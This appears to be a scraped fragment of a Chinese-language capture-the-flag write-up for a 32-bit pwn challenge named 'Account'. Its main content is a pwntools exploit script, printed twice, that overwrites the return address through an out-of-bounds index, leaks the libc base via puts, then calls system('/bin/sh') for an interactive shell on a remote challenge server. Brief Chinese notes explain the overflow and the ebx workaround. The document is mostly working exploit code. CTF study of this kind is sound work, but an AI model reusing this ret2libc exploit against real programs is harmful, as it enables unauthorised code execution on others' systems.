from pwn import *\n\n \\# p = process('.\/account')\n p = remote('pss.idss-cn.com',22585)\n elf = ELF('.\/account')\n libc = ELF('.\/libc-2.31.so')\n\n start = 0x080490E0\n\n p.recvuntil('xit:')\n for i in range(10):\n   p.sendline('1')\n p.sendline('17')\n p.sendline(str(elf.plt['puts']))\n p.sendline(str(start))\n p.sendline(str(elf.got['puts']))\n p.sendline('0')\n p.recvuntil('ted\\n')\n libc.address = u32(p.recv(4))-libc.symbols['puts']\n\n for i in range(10):\n   p.sendline('1')\n p.sendline('17')\n p.sendline(str(libc.symbols['system']-2**32))\n p.sendline('1')\n p.sendline(str(next(libc.search(b'\/bin\/sh'))-2**32))\n p.sendline('0')\n p.interactive()<\/code><\/pre>\n
\"\"<\/p>\n
Account<\/h3>\n
\"\"<\/p>\n
\u65e0\u9650\u5faa\u73af\u5199\u5165<\/p>\n
\"\"<\/p>\n
\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u51fa\u6808\u6ea2\u51fa\u6df9\u6ca1\u8fd4\u56de\u5730\u5740\uff0c\u4f46\u662f\u56e0\u4e3a\u6211\u4eec\u4f1a\u4f18\u5148\u6df9\u6ca1\u8fd9\u91cc\u76843\u7d22\u5f15\uff0c\u6240\u4ee5<\/p>\n
\u53ef\u4ee5\u76f4\u63a5\u6df9\u6ca1\u7d22\u5f15\u5230\u8fd4\u56de\u5730\u5740\u3002<\/p>\n
\u52ab\u6301rip\u6253rop\u6cc4\u9732Iibc\u57fa\u5730\u5740\uff0c\u518drop\u8c03\u7528system\u5373\u53ef\u3002<\/p>\n
\u53c8\u56e0\u4e3a\u8fd9\u91cc\u7684\u64cd\u4f5c\u662f\u57fa\u4e8eebx\u7684\u3002<\/p>\n
Ebx\u6765\u81ea\u4e8e\u6808\u4e2d\uff0c\u4e00\u822c\u4e3a0\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u8f93\u51650\u5c31\u4f1a\u76f4\u63a5\u9000\u51fa\uff0c\u56e0\u6b64\u6211\u4eec\u7b2c\u4e00\u6b21op\u65f6\u9700<\/p>\n
\u8981\u8df3\u5230start\u5904\u6267\u884c\uff0c\u800c\u975emain\u6216\u8005vul\u51fd\u6570\uff0c\u7528\u6765\u89c4\u907febx\u7684\u95ee\u9898\u3002<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u4fdd\u62a4<\/p>\n
from pwn import *\n\n# p = process('.\/account')\np = remote('pss.idss-cn.com',22585)\nelf = ELF('.\/account')\nlibc = ELF('.\/libc-2.31.so')\n\nstart = 0x080490E0\n\np.recvuntil('xit:')\nfor i in range(10):\n    p.sendline('1')\np.sendline('17')\np.sendline(str(elf.plt['puts']))\np.sendline(str(start))\np.sendline(str(elf.got['puts']))\np.sendline('0')\np.recvuntil('ted\\n')\nlibc.address = u32(p.recv(4))-libc.symbols['puts']\n\nfor i in range(10):\n    p.sendline('1')\np.sendline('17')\np.sendline(str(libc.symbols['system']-2**32))\np.sendline('1')\np.sendline(str(next(libc.search(b'\/bin\/sh'))-2**32))\np.sendline('0')\np.interactive()\n<\/code><\/pre>\n
\"\"<\/p>\n